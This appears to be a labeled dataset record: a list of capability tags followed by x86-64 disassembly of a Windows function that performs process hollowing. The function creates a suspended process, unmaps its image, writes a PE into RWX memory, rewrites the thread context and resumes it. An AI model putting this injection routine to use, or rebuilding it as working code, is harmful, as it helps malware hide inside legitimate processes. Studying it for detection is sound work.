Function at 0x140002434
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
movsxd rax, dword [rdx + 0x3c]
mov r14, rdx
mov r10, rcx
cmp dword [rax + rdx], 0x4550
jne 0x140002911
mov ecx, 0x10b
xor ebx, ebx
cmp word [rax + rdx + 0x18], cx
je 0x140002493
mov ecx, 0x20b
cmp word [rax + rdx + 0x18], cx
jne 0x140002911
lea r12d, [rbx + 1]
jmp 0x140002496
mov r12d, ebx
test r12d, r12d
jne 0x1400024d4
lea rdx, str.RtlGetVersion
mov dword [rbp - 0x20], 0x114
call fcn.1400020cc
lea rcx, [rbp - 0x20]
call rax
test eax, eax
js 0x140002911
cmp dword [rbp - 0x1c], 0xa
mov eax, ebx
setae al
test eax, eax
je 0x140002911
mov r10, qword [rbp + 0x140]
mov r13d, ebx
xor eax, eax
lea rdi, [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea ecx, [rax + 0x68]
rep stosb byte [rdi], al
lea ecx, [rax + 0x18]
mov dword [rsp + 0x70], 0x68
lea rdi, [rsp + 0x50]
rep stosb byte [rdi], al
lea rax, [rsp + 0x50]
mov rcx, r10
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400028d7
movsxd rsi, dword [r14 + 0x3c]
lea rdx, str.NtUnmapViewOfSection
mov rbx, qword [rsp + 0x50]
add rsi, r14
cmp r12d, 1
jne 0x140002730
mov rdi, qword [rsi + 0x30]
call fcn.1400020cc
mov rdx, rdi
mov rcx, rbx
call rax
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor ebx, ebx
mov r15, rax
test rax, rax
je 0x1400028d7
mov r9d, dword [rsi + 0x54]
mov r8, r14
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400028d7
mov r8d, dword [rsi + 0x54]
lea rax, [rbp + 0x148]
mov rcx, qword [rsp + 0x50]
lea r9d, [r12 + 1]
mov rdx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1400028d7
movzx edi, word [rsi + 0x14]
xor eax, eax
add rdi, 0x24
cmp ax, word [rsi + 6]
jae 0x140002682
add rdi, rsi
mov r8d, dword [rdi + 8]
mov edx, dword [rdi]
add r8, r14
mov r9d, dword [rdi + 4]
add rdx, r15
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400028d5
movzx eax, word [rsi + 6]
mov r10d, dword [rdi]
dec eax
cmp ebx, eax
jne 0x140002634
mov r8d, dword [rsi + 0x50]
jmp 0x140002638
mov r8d, dword [rdi + 0x28]
mov ecx, dword [rdi + 0x18]
sub r8d, r10d
call fcn.140002930
mov rcx, qword [rsp + 0x50]
mov r9d, eax
mov edx, r10d
lea rax, [rbp + 0x148]
add rdx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1400028d5
movzx eax, word [rsi + 6]
inc ebx
add rdi, 0x28
cmp ebx, eax
mov eax, 0
jl 0x1400025f9
xor ecx, ecx
mov edx, 0x4d0
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ebx, ebx
mov rdi, rax
test rax, rax
je 0x1400028d7
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400028d7
mov rdx, qword [rdi + 0x88]
lea r8, [rsi + 0x30]
mov rcx, qword [rsp + 0x50]
lea r9d, [rbx + 8]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400028d7
mov eax, dword [rsi + 0x28]
mov rdx, rdi
add rax, r15
mov qword [rdi + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1400028d7
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x1400028d7
mov eax, 1
jmp 0x140002913
mov edi, dword [rsi + 0x34]
call fcn.1400020cc
mov edx, edi
mov rcx, rbx
call rax
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov edx, dword [rsi + 0x34]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor ebx, ebx
mov r15, rax
test rax, rax
je 0x1400028d7
mov r9d, dword [rsi + 0x54]
mov r8, r14
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400028d7
mov r8d, dword [rsi + 0x54]
lea rax, [rbp + 0x150]
mov rcx, qword [rsp + 0x50]
lea r9d, [rbx + 2]
mov rdx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1400028d7
movzx edi, word [rsi + 0x14]
xor eax, eax
add rdi, 0x24
cmp ax, word [rsi + 6]
jae 0x140002858
add rdi, rsi
mov r8d, dword [rdi + 8]
mov edx, dword [rdi]
add r8, r14
mov r9d, dword [rdi + 4]
add rdx, r15
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400028d5
movzx eax, word [rsi + 6]
mov r10d, dword [rdi]
dec eax
cmp ebx, eax
jne 0x14000280b
mov r8d, dword [rsi + 0x50]
jmp 0x14000280f
mov r8d, dword [rdi + 0x28]
mov ecx, dword [rdi + 0x18]
sub r8d, r10d
call fcn.140002930
mov rcx, qword [rsp + 0x50]
mov r9d, eax
mov edx, r10d
lea rax, [rbp + 0x150]
add rdx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor ecx, ecx
test eax, eax
je 0x1400028d5
movzx eax, word [rsi + 6]
inc ebx
add rdi, 0x28
cmp ebx, eax
mov eax, ecx
jl 0x1400027d0
xor ecx, ecx
mov edx, 0x2cc
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ebx, ebx
mov rdi, rax
test rax, rax
je 0x1400028d7
mov dword [rax], 0x10007
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x1400028d7
mov edx, dword [rdi + 0xa4]
lea r8, [rsi + 0x34]
mov rcx, qword [rsp + 0x50]
lea r9d, [rbx + 4]
add edx, 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400028d7
mov ecx, dword [rsi + 0x28]
mov rdx, rdi
add ecx, r15d
mov dword [rdi + 0xb0], ecx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
jmp 0x14000270a
xor ebx, ebx
mov r8d, dword [rsp + 0x60]
test r8d, r8d
je 0x1400028fc
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x1400028fc
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
inc r13d
cmp r13d, 5
jae 0x140002911
mov r10, qword [rbp + 0x140]
jmp 0x1400024d7
xor eax, eax
mov rbx, qword [rsp + 0x258]
add rsp, 0x200
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret